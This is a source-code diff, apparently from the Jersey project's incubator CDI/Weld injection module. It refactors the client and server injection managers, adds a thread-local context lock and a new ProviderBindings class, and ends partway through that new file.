+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiClientInjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,71 +19,89 @@
 import jakarta.enterprise.context.spi.CreationalContext;
 import jakarta.enterprise.inject.spi.Bean;
 import jakarta.enterprise.inject.spi.BeanManager;
+import jakarta.enterprise.inject.spi.InjectionTarget;
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.inject.weld.internal.bean.ClassBean;
 import org.glassfish.jersey.inject.weld.internal.bean.JerseyBean;
+import org.glassfish.jersey.inject.weld.internal.bean.SupplierClassBean;
+import org.glassfish.jersey.inject.weld.internal.inject.InitializableBinding;
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.inject.MatchableBinding;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
-import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.jboss.weld.contexts.CreationalContextImpl;
 
-import java.util.Collection;
 import java.util.IdentityHashMap;
 import java.util.Map;
 
 /**
- * Each Client Runtime has a unique CdiClientInjectionManager, which passes proper {@link Binding} to the Weld.
+ * Each Client Runtime has a unique CdiClientInjectionManager, which passes proper {@link InternalBinding} to the Weld.
  */
-public class CdiClientInjectionManager extends CdiInjectionManager {
+public final class CdiClientInjectionManager extends CdiInjectionManager {
 
     private Map<InitializableInstanceBinding, InitializableInstanceBinding> clientInstanceBindings = new IdentityHashMap<>();
     private Map<InitializableSupplierInstanceBinding, InitializableSupplierInstanceBinding> clientSupplierInstanceBindings
             = new IdentityHashMap<>();
     private Map<SupplierClassBinding, SupplierClassBinding> clientSupplierClassBinding = new IdentityHashMap<>();
+    private Map<ClassBinding, ClassBinding> clientClassBinding = new IdentityHashMap<>();
 
-    public CdiClientInjectionManager(BeanManager beanManager, Binder bindings) {
-        super(beanManager, bindings);
+    CdiClientInjectionManager(BeanManager beanManager, BinderRegisterExtension.MergedBindings bindings) {
+        super(beanManager, bindings, RuntimeType.CLIENT);
     }
 
     @Override
     public void register(Binding binding) {
         if (InstanceBinding.class.isInstance(binding)) {
-            final Collection<Binding> preBindings = getBindings().getBindings();
-            MatchableBinding.Matching<InitializableInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
-            for (Binding preBinding : preBindings) {
-                if (InitializableInstanceBinding.class.isInstance(preBinding)) {
-                    matching = matching.better(((InitializableInstanceBinding) preBinding).matches((InstanceBinding) binding));
-                    if (matching.isBest()) {
-                        break;
-                    }
-                }
-            }
+//            final Collection<Binding> preBindings = getBindings().getBindings();
+//            MatchableBinding.Matching<InitializableInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
+//            for (Binding preBinding : preBindings) {
+//                if (InitializableInstanceBinding.class.isInstance(preBinding)) {
+//                    matching = matching.better(((InitializableInstanceBinding) preBinding).matches((InstanceBinding) binding));
+//                    if (matching.isBest()) {
+//                        break;
+//                    }
+//                }
+//            }
+            MatchableBinding.Matching<InitializableInstanceBinding> matching;
+//            MatchableBinding.Matching<InitializableInstanceBinding> matching =
+//                    findPrebinding(InitializableInstanceBinding.class, binding /*, RuntimeType.CLIENT*/);
+//            if (matching.matches()) {
+//                matching.getBinding().init(((InstanceBinding) binding).getService());
+//                return;
+//            }
+            matching = findPrebinding(InitializableInstanceBinding.class, binding/*, RuntimeType.SERVER*/);
             if (matching.matches()) {
                 final InitializableInstanceBinding clone = matching.getBinding().clone();
                 clone.init(((InstanceBinding) binding).getService());
                 clientInstanceBindings.put(matching.getBinding(), clone);
             } else {
-                throw new IllegalStateException("Not initialized " + ((InstanceBinding<?>) binding).getService());
-            }
-        } else if (SupplierInstanceBinding.class.isInstance(binding)) {
-            final Collection<Binding> preBindings = getBindings().getBindings();
-            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
-            for (Binding preBinding : preBindings) {
-                if (InitializableSupplierInstanceBinding.class.isInstance(preBinding)) {
-                    matching = matching.better(((InitializableSupplierInstanceBinding) preBinding).matchesContracts(binding));
-                    if (matching.isBest()) {
-                        break;
-                    }
+                if (!userBindings.init((InstanceBinding<?>) binding)) {
+                    throw new IllegalStateException("Not initialized " + ((InstanceBinding<?>) binding).getService());
                 }
             }
+        } else if (SupplierInstanceBinding.class.isInstance(binding)) {
+//            final Collection<Binding> preBindings = getBindings().getBindings();
+//            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
+//            for (Binding preBinding : preBindings) {
+//                if (InitializableSupplierInstanceBinding.class.isInstance(preBinding)) {
+//                    matching = matching.better(((InitializableSupplierInstanceBinding) preBinding).matchesContracts(binding));
+//                    if (matching.isBest()) {
+//                        break;
+//                    }
+//                }
+//            }
+            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching =
+                    findPrebinding(InitializableSupplierInstanceBinding.class, binding);
             if (matching.matches()) {
                 final InitializableSupplierInstanceBinding clone = matching.getBinding().clone();
                 clone.init(((SupplierInstanceBinding) binding).getSupplier());
@@ -108,6 +126,15 @@
 //            } else {
 //                throw new IllegalStateException("Not initialized " + ((SupplierInstanceBinding<?>) binding).getSupplier());
 //            }
+        } else if (ClassBinding.class.isInstance(binding)) {
+            ClassBinding prebinding = findClassBinding(binding.getImplementationType());
+            if (prebinding == null) {
+                //User registered provider
+                if (!userBindings.init((ClassBinding<?>) binding)) {
+                    throw new IllegalStateException("Unexpected");
+                }
+                clientClassBinding.put(prebinding, (ClassBinding) binding);
+            }
         }
     }
 
@@ -123,7 +150,22 @@
 
     public SupplierClassBinding getInjectionManagerBinding(SupplierClassBinding binding) {
         SupplierClassBinding clientBinding = clientSupplierClassBinding.get(binding);
-        return clientBinding;
+        return clientBinding != null ? clientBinding : binding;
+    }
+
+    public ClassBinding getInjectionManagerBinding(ClassBinding binding) {
+        ClassBinding clientBinding = clientClassBinding.get(binding);
+        return clientBinding != null ? clientBinding : binding;
+    }
+
+    @Override
+    protected void lockContext() {
+        ContextSafe.lockContext(this);
+    }
+
+    @Override
+    protected void unlockContext() {
+        ContextSafe.unlock(this);
     }
 
     @Override
@@ -145,7 +187,40 @@
 
     @Override
     protected boolean isRuntimeTypeBean(Bean<?> bean) {
-        return !JerseyBean.class.isInstance(bean) || ((JerseyBean) bean).getRutimeType() == RuntimeType.CLIENT;
+        return !JerseyBean.class.isInstance(bean)
+                || ((JerseyBean) bean).getRutimeType() == RuntimeType.CLIENT
+                || clientInstanceBindings.containsKey(((JerseyBean<?>) bean).getBinding())
+                || clientSupplierInstanceBindings.containsKey(((JerseyBean<?>) bean).getBinding())
+                || isTwoFoldInstantiator((JerseyBean) bean);
     }
 
+    private static boolean isTwoFoldInstantiator(JerseyBean bean) {
+        InjectionTarget injectionTarget = null;
+        if (ClassBean.class.isInstance(bean)) {
+            injectionTarget = ((ClassBean) bean).getInjectionTarget();
+        } else if (SupplierClassBean.class.isInstance(bean)) {
+            injectionTarget = ((SupplierClassBean) bean).getInjectionTarget();
+        }
+
+        if (injectionTarget != null) {
+            if (JerseyInjectionTarget.class.isInstance(injectionTarget)) {
+                JerseyInjectionTarget jerseyInjectionTarget = (JerseyInjectionTarget) injectionTarget;
+                return jerseyInjectionTarget.getTwofoldInstantiator().hasOptionalConstructorInjectionPoint();
+            }
+        }
+        return false;
+    }
+
+    private boolean isInit(JerseyBean bean) {
+        if (InitializableBinding.class.isInstance(bean.getBinding())) {
+            return ((InitializableBinding) bean.getBinding()).isInit();
+        } else {
+            return true;
+        }
+    }
+
+    @Override
+    public RuntimeType getRuntimeType() {
+        return RuntimeType.CLIENT;
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiInjectionManager.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiInjectionManager.java
index e5759ea..c0a31f6 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiInjectionManager.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiInjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,7 +17,12 @@
 package org.glassfish.jersey.inject.weld.internal.managed;
 
 import java.lang.annotation.Annotation;
+import java.lang.reflect.Field;
+import java.lang.reflect.Member;
+import java.lang.reflect.Modifier;
 import java.lang.reflect.Type;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Iterator;
@@ -34,37 +39,44 @@
 import jakarta.inject.Singleton;
 import jakarta.ws.rs.RuntimeType;
 
+import jakarta.ws.rs.core.Context;
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.bean.JerseyBean;
 import org.glassfish.jersey.inject.weld.internal.inject.MatchableBinding;
+import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
 
 /**
  * Implementation of {@link InjectionManager} used on the server side.
  */
 @Singleton
-public class CdiInjectionManager implements InjectionManager {
+class CdiInjectionManager implements InjectionManager {
 
     private final BeanManager beanManager;
-    private final Binder bindings;
+    private final BinderRegisterExtension.MergedBindings bindings;
     private boolean isCompleted = false;
     Set<Class<?>> managedBeans;
+    protected final ProviderBindings userBindings;
 
     // Keeps all binders and bindings added to the InjectionManager during the bootstrap.
 
-    public CdiInjectionManager(BeanManager beanManager, Binder bindings) {
+    CdiInjectionManager(BeanManager beanManager, BinderRegisterExtension.MergedBindings bindings, RuntimeType runtimeType) {
         this.beanManager = beanManager;
         this.bindings = bindings;
+        userBindings = new ProviderBindings(runtimeType, this);
     }
 
     @Override
@@ -73,33 +85,37 @@
             return;
         }
         if (InstanceBinding.class.isInstance(binding)) {
-            final Collection<Binding> preBindings = bindings.getBindings();
-            MatchableBinding.Matching<InitializableInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
-            for (Binding preBinding : preBindings) {
-                if (InitializableInstanceBinding.class.isInstance(preBinding)) {
-                    matching = matching.better(((InitializableInstanceBinding) preBinding).matches((InstanceBinding) binding));
-                    if (matching.isBest()) {
-                        break;
-                    }
-                }
-            }
+//            final Collection<Binding> preBindings = bindings.getBindings();
+//            MatchableBinding.Matching<InitializableInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
+//            for (Binding preBinding : preBindings) {
+//                if (InitializableInstanceBinding.class.isInstance(preBinding)) {
+//                    matching = matching.better(((InitializableInstanceBinding) preBinding).matches((InstanceBinding) binding));
+//                    if (matching.isBest()) {
+//                        break;
+//                    }
+//                }
+//            }
+            MatchableBinding.Matching<InitializableInstanceBinding> matching
+                    = findPrebinding(InitializableInstanceBinding.class, binding);
             if (matching.matches()) {
                matching.getBinding().init(((InstanceBinding) binding).getService());
-            } else if (findClassBinding(binding.getImplementationType()) == null) {
-                throw new IllegalStateException("Not initialized " + ((InstanceBinding<?>) binding).getService());
+            } else if (!userBindings.init((InstanceBinding<?>) binding)){
+                throw new IllegalStateException("Could not initialize " + ((InstanceBinding<?>) binding).getService());
             }
         } else if (SupplierInstanceBinding.class.isInstance(binding)) {
-            final Collection<Binding> preBindings = bindings.getBindings();
-            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
-            for (Binding preBinding : preBindings) {
-                if (InitializableSupplierInstanceBinding.class.isInstance(preBinding)) {
-                    matching = matching.better(
-                            ((InitializableSupplierInstanceBinding) preBinding).matches((SupplierInstanceBinding) binding));
-                    if (matching.isBest()) {
-                        break;
-                    }
-                }
-            }
+//            final Collection<Binding> preBindings = bindings.getBindings();
+//            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
+//            for (Binding preBinding : preBindings) {
+//                if (InitializableSupplierInstanceBinding.class.isInstance(preBinding)) {
+//                    matching = matching.better(
+//                            ((InitializableSupplierInstanceBinding) preBinding).matches((SupplierInstanceBinding) binding));
+//                    if (matching.isBest()) {
+//                        break;
+//                    }
+//                }
+//            }
+            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching =
+                    findPrebinding(InitializableSupplierInstanceBinding.class, binding);
             if (matching.matches()) {
                 matching.getBinding().init(((SupplierInstanceBinding) binding).getSupplier());
             } else {
@@ -118,14 +134,38 @@
 //                }
 //            }
 //            if (!found) {
-                throw new IllegalStateException("ClassBinding for " + binding.getImplementationType() + " not preregistered");
+                if (!userBindings.init((ClassBinding<?>) binding)) {
+                    throw new IllegalStateException("ClassBinding for " + binding.getImplementationType() + " not preregistered");
+                }
             }
         }
     }
 
-    private <T> ClassBinding<T> findClassBinding(Class<T> implementationType) {
+    protected <MB extends MatchableBinding> MatchableBinding.Matching<MB>
+    findPrebinding(Class<MB> matchebleBindingClass, Binding binderBinding) {
+        final Collection<Binding> preBindings;
+//        if (runtimeType == RuntimeType.SERVER) {
+//            preBindings = bindings.getServerBindings();
+//        } else if (runtimeType == RuntimeType.CLIENT) {
+//            preBindings = bindings.getClientBindings();
+//        } else {
+            preBindings = bindings.getBindings();
+//        }
+        MatchableBinding.Matching<MB> matching = MatchableBinding.Matching.noneMatching();
+        for (Binding preBinding : preBindings) {
+            if (matchebleBindingClass.isInstance(preBinding)) {
+                matching = matching.better(((MB) preBinding).matching((InternalBinding) binderBinding));
+                if (matching.isBest()
+                        || (matching.matches() && ((InternalBinding) binderBinding).isForClient())) {
+                    break;
+                }
+            }
+        }
+        return matching;
+    }
+
+    protected <T> ClassBinding<T> findClassBinding(Class<T> implementationType) {
         final Collection<Binding> preBindings = bindings.getBindings();
-        boolean found = false;
         for (Binding preBinding : preBindings) {
             if (ClassBinding.class.isInstance(preBinding)
                     && ((ClassBinding) preBinding).getImplementationType().equals(implementationType)) {
@@ -135,6 +175,17 @@
         return null;
     }
 
+    protected <T> SupplierClassBinding<T> findSupplierClassBinding(Class<T> implementationType) {
+        final Collection<Binding> preBindings = bindings.getBindings();
+        for (Binding preBinding : preBindings) {
+            if (SupplierClassBinding.class.isInstance(preBinding)
+                    && ((SupplierClassBinding) preBinding).getImplementationType().equals(implementationType)) {
+                return (SupplierClassBinding<T>) preBinding;
+            }
+        }
+        return null;
+    }
+
     private boolean isManagedClass(Binding binding) {
         return managedBeans != null
                 && binding.getImplementationType() != null
@@ -168,17 +219,23 @@
 
     @Override
     public <T> T create(Class<T> createMe) {
-        Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(createMe).newInstance();
+        Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(beanManager, createMe).newInstance();
         return unmanaged.produce().get();
     }
 
     @Override
     public <T> T createAndInitialize(Class<T> createMe) {
-        Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(createMe).newInstance();
-        return unmanaged.produce()
-                .inject()
-                .postConstruct()
-                .get();
+        Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(beanManager, createMe).newInstance();
+
+        try {
+            this.lockContext();
+            unmanaged = unmanaged.produce().inject();
+            injectContext(unmanaged.get());
+        } finally {
+            this.unlockContext();
+        }
+
+        return unmanaged.postConstruct().get();
     }
 
     @Override
@@ -191,16 +248,25 @@
                 continue;
             }
 
-            CreationalContext<?> ctx = createCreationalContext(bean);
-            T reference = (T) beanManager.getReference(bean, contractOrImpl, ctx);
+            final T reference;
 
-            int rank = 1;
+            CreationalContext<?> ctx = createCreationalContext(bean);
+            try {
+                lockContext();
+                reference = (T) beanManager.getReference(bean, contractOrImpl, ctx);
+            } finally {
+                unlockContext();
+            }
+
+
+            int rank = 0;
             if (bean instanceof JerseyBean) {
                 rank = ((JerseyBean) bean).getRank();
             }
 
             result.add(new ServiceHolderImpl<>(reference, (Class<T>) bean.getBeanClass(), bean.getTypes(), rank));
         }
+        result.addAll(userBindings.getServiceHolders(contractOrImpl));
         return result;
     }
 
@@ -220,7 +286,7 @@
     }
 
     @SuppressWarnings("unchecked")
-    protected <T> T getInstanceInternal(Type contractOrImpl, Annotation... qualifiers) {
+    protected <T> T  getInstanceInternal(Type contractOrImpl, Annotation... qualifiers) {
 //        if (contractOrImpl.getTypeName().contains("HelloResource")) {
 //            T t = (T) CDI.current().select((Class) contractOrImpl, qualifiers).get();
 //            try {
@@ -242,11 +308,26 @@
 
         final Iterator<?> beansIterator = beans.iterator();
         Bean<?> bean = (Bean<?>) beansIterator.next();
-        while (beansIterator.hasNext() && !JerseyBean.class.isInstance(bean) && !isRuntimeTypeBean(bean)) {
-            bean = (Bean<?>) beansIterator.next(); // prefer Jersey binding
+        boolean isRuntimeType = false;
+        while (!(isRuntimeType = isRuntimeTypeBean(bean))) {
+            if (beansIterator.hasNext()) {
+                bean = (Bean<?>) beansIterator.next(); // prefer Jersey binding
+            } else {
+                break;
+            }
+        }
+        if (!isRuntimeType) {
+            throw new IllegalStateException("Bean for type " + contractOrImpl + " not found");
         }
         CreationalContext<T> ctx = createCreationalContext((Bean<T>) bean);
-        return (T) beanManager.getReference(bean, contractOrImpl, ctx);
+        final T t;
+        try {
+            lockContext();
+            t = (T) beanManager.getReference(bean, contractOrImpl, ctx);
+        } finally {
+            unlockContext();
+        }
+        return t;
     }
 
     @Override
@@ -286,10 +367,20 @@
     public <T> List<T> getAllInstances(Type contractOrImpl) {
         List<T> result = new ArrayList<>();
         for (Bean<?> bean : beanManager.getBeans(contractOrImpl)) {
+            if (!isRuntimeTypeBean(bean)) {
+                continue;
+            }
             CreationalContext<?> ctx = createCreationalContext(bean);
-            Object reference = beanManager.getReference(bean, contractOrImpl, ctx);
+            final Object reference;
+            try {
+                lockContext();
+                reference = beanManager.getReference(bean, contractOrImpl, ctx);
+            } finally {
+                unlockContext();
+            }
             result.add((T) reference);
         }
+        result.addAll(userBindings.getServices(contractOrImpl));
         return result;
     }
 
@@ -302,6 +393,48 @@
         InjectionTarget injectionTarget = injectionTargetFactory.createInjectionTarget(null);
 
         injectionTarget.inject(instance, creationalContext);
+
+        if (CdiInjectionManagerFactory.SUPPORT_CONTEXT) {
+            injectContext(instance);
+        }
+    }
+
+    public void injectContext(Object instance) {
+        Field[] fields = AccessController.doPrivileged(ReflectionHelper.getAllFieldsPA(instance.getClass()));
+        for (Field f : fields) {
+            if (f.isAnnotationPresent(Context.class)) {
+                setAccesible(f);
+                try {
+                    if (f.get(instance) == null) {
+                        Object o = getInstance(f.getType());
+                        f.set(instance, o);
+                    }
+                } catch (IllegalAccessException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+    }
+
+    private static void setAccesible(Field member) {
+        if (isPublic(member)) {
+            return;
+        }
+
+        AccessController.doPrivileged((PrivilegedAction<Void>) () -> {
+            member.setAccessible(true);
+            return null;
+        });
+    }
+
+    private static boolean isPublic(Member member) {
+        return Modifier.isPublic(member.getModifiers());
+    }
+
+    protected void lockContext() {
+    }
+
+    protected void unlockContext() {
     }
 
     @Override
@@ -338,7 +471,7 @@
         return false;
     }
 
-    protected Binder getBindings() {
+    protected BinderRegisterExtension.MergedBindings getBindings() {
         return bindings;
     }
 
@@ -361,11 +494,16 @@
      * @return true iff the given bean is not a Jersey Bean or the Jersey Bean is of the proper {@code RuntimeType}.
      */
     protected boolean isRuntimeTypeBean(Bean<?> bean) {
-        return !JerseyBean.class.isInstance(bean) || ((JerseyBean) bean).getRutimeType() == RuntimeType.SERVER;
+        return !JerseyBean.class.isInstance(bean)
+                || ((JerseyBean) bean).getRutimeType() == RuntimeType.SERVER;
     }
 
     @Override
     public void inject(Object injectMe, String classAnalyzer) {
+        if ("CONTEXT".equals(classAnalyzer)) {
+            injectContext(injectMe);
+            return;
+        }
         // TODO: Used only in legacy CDI integration.
         throw new UnsupportedOperationException();
     }
@@ -375,4 +513,9 @@
         // TODO: Used only in legacy CDI integration.
         throw new UnsupportedOperationException();
     }
+
+    @Override
+    public RuntimeType getRuntimeType() {
+        return RuntimeType.SERVER;
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ClientBootstrapPreinitialization.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ClientBootstrapPreinitialization.java
deleted file mode 100644
index c748f6c..0000000
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ClientBootstrapPreinitialization.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.inject.weld.internal.managed;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.client.ClientBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.JerseyClient;
-import org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization;
-import org.glassfish.jersey.internal.PropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.collection.Ref;
-
-import java.util.function.Supplier;
-
-/**
- * Jersey Client Runtime pre-initialization implementation.
- */
-// TODO: put to a proper Jersey module
-public class ClientBootstrapPreinitialization implements BootstrapPreinitialization {
-
-    @Override
-    public void register(RuntimeType runtimeType, AbstractBinder binder) {
-        if (runtimeType == RuntimeType.SERVER) {
-            return;
-        }
-
-        ClientConfig config = new ClientConfig();
-        JerseyClient client = (JerseyClient) ClientBuilder.newClient(config);
-        client.getConfiguration().getClientExecutor();
-    }
-}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ContextSafe.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ContextSafe.java
new file mode 100644
index 0000000..1350b0f
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ContextSafe.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.internal.managed;
+
+public final class ContextSafe {
+
+    private static final ThreadLocal<CdiClientInjectionManager> CURRENT_CONTEXT = new ThreadLocal<>();
+
+    public static void lockContext(CdiClientInjectionManager current) {
+        CURRENT_CONTEXT.set(current);
+    }
+
+    public static CdiClientInjectionManager get() {
+        return CURRENT_CONTEXT.get();
+    }
+
+    public static void unlock(CdiClientInjectionManager locked) {
+        CdiClientInjectionManager ctx = CURRENT_CONTEXT.get();
+        if (ctx != locked) {
+            throw new IllegalStateException("The CreationalContext safe has been compromised");
+        }
+        CURRENT_CONTEXT.remove();
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderBindings.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderBindings.java
new file mode 100644
index 0000000..8747b42
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderBindings.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.internal.managed;
+
+import jakarta.ws.rs.Path;
+import org.glassfish.jersey.inject.weld.internal.inject.ClassListBinding;
+import org.glassfish.jersey.inject.weld.internal.inject.InstanceListBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.RxInvokerProvider;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.ParamConverterProvider;
+import jakarta.ws.rs.ext.ReaderInterceptor;
+import jakarta.ws.rs.ext.WriterInterceptor;
+import org.glassfish.jersey.internal.util.collection.Cache;
+import org.glassfish.jersey.server.model.Resource;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class ProviderBindings {
+    private final Map<Type, InstanceListBinding<?>> userInstanceBindings = new HashMap<>();
+    private final Map<Type, ClassListBinding<?>> userClassBindings = new HashMap<>();
+    private final Map<Type, ClassListBinding<?>> userPathBindings = new HashMap<>();
+    private final InjectionManager injectionManager;
+    // Check first if a class is a JAX-RS resource, and only if so check with validation.
+    // This prevents unnecessary warnings being logged for pure CDI beans.
+    private final Cache<Class<?>, Boolean> jaxRsResourceCache = new Cache<>(
+            clazz -> Resource.from(clazz, true) != null && Resource.from(clazz) != null);
+
+    public boolean isJaxRsResource(Class<?> resource) {
+        return jaxRsResourceCache.apply(resource);
+    }
+
+
+    ProviderBindings(RuntimeType runtimeType, InjectionManager injectionManager) {
+        this.injectionManager = injectionManager;
+
+        if (runtimeType == RuntimeType.CLIENT) {
+            init(ClientRequestFilter.class);
+            init(ClientResponseFilter.class);
+            init(RxInvokerProvider.class);
+        } else if (runtimeType == RuntimeType.SERVER) {
+            init(ContainerResponseFilter.class);
+            init(ContainerRequestFilter.class);
+            init(DynamicFeature.class);
+        }
+        init(ParamConverterProvider.class);
+        init(WriterInterceptor.class);
+        init(ReaderInterceptor.class);
+        init(MessageBodyReader.class);
+        init(MessageBodyWriter.class);
+    }
+
+    private <T> void init(Class<T> contract) {
